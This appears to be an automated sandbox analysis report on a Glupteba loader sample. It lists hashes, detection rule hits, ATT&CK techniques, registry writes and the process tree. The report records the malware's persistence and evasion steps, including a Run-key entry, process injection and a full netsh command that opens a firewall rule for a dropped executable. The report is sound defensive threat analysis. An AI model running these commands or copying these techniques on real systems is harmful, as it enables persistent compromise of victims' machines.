glupteba | 38afc38b92ce46bef4b9f01b0c5103d119c3dbd5c0072520c6263ef2435e176b

Analysis

max time kernel
146s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08-09-2024 11:45

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General

Target

d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
Size

3.6MB
MD5

d449078802a5330cc5553e49482a98ee
SHA1

3e6e62739a014a3711b17faa37ac729cb1d085c8
SHA256

38afc38b92ce46bef4b9f01b0c5103d119c3dbd5c0072520c6263ef2435e176b
SHA512

5f6fe11dd26e05fc4d8ab31e372b0ab2d54b20d1b3ab2be7459c3a9654c9ed6e749f58448411b9e17878ce0c7c3c098b1f24f0401ed8d2b7393910f1454897c2
SSDEEP

98304:dP0J3uD+qjebjib0i5EBi3QG+vlWoqQgS:ds96ie0i5EBiQlq

Score

10^/10

glupteba discovery dropper evasion loader persistence privilege_escalation rootkit upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 37 IoCs

resource	yara_rule
behavioral2/memory/2672-9-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2672-11-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2672-10-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2672-7-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2672-8-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2672-6-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2672-12-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2672-13-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4716-26-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4716-27-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4716-24-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4716-23-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4716-28-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/4716-40-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-49-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-48-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-47-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-46-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-50-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-51-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-52-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-53-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-56-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-57-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-60-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-61-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-62-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-63-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-64-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-65-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-66-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-67-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-68-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-69-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-70-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-71-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral2/memory/2372-72-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4848	netsh.exe
1564	netsh.exe

Executes dropped EXE 3 IoCs

pid	Process
1496	csrss.exe
2372	csrss.exe
3108	patch.exe

UPX packed file 39 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2672-3-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-5-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-9-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-11-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-10-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-7-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-8-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-6-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-12-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2672-13-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4716-26-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4716-27-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4716-24-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4716-23-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4716-28-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/4716-40-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-49-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-48-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-47-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-46-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-50-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-51-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-52-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-53-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-56-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-57-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-60-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-61-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-62-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-63-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-64-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-65-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-66-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-67-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-68-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-69-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-70-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-71-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral2/memory/2372-72-0x0000000000400000-0x0000000000B27000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DelicateDream = "\"C:\\Windows\\rss\\csrss.exe\""	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
1484	bcdedit.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2648 set thread context of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 4836 set thread context of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 1496 set thread context of 2372	1496	csrss.exe	99

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
File created	C:\Windows\rss\csrss.exe	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1820	schtasks.exe
1196	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2672	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
2672	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
2372	csrss.exe
2372	csrss.exe
2372	csrss.exe
2372	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
Token: SeImpersonatePrivilege	2672	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	2372	csrss.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 2648 wrote to memory of 2672	2648	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	86
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4836 wrote to memory of 4716	4836	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	91
PID 4716 wrote to memory of 1576	4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	92
PID 4716 wrote to memory of 1576	4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	92
PID 1576 wrote to memory of 1564	1576	cmd.exe	94
PID 1576 wrote to memory of 1564	1576	cmd.exe	94
PID 4716 wrote to memory of 2600	4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	95
PID 4716 wrote to memory of 2600	4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	95
PID 2600 wrote to memory of 4848	2600	cmd.exe	97
PID 2600 wrote to memory of 4848	2600	cmd.exe	97
PID 4716 wrote to memory of 1496	4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	98
PID 4716 wrote to memory of 1496	4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	98
PID 4716 wrote to memory of 1496	4716	d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe	98
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 1496 wrote to memory of 2372	1496	csrss.exe	99
PID 2372 wrote to memory of 1484	2372	csrss.exe	105
PID 2372 wrote to memory of 1484	2372	csrss.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- - C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4836
  - - C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\d449078802a5330cc5553e49482a98ee_JaffaCakes118.exe"
      4⤵
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4716
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\05fc202ece11\05fc202ece11\05fc202ece11.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1576
      - C:\Windows\system32\netsh.exe
        
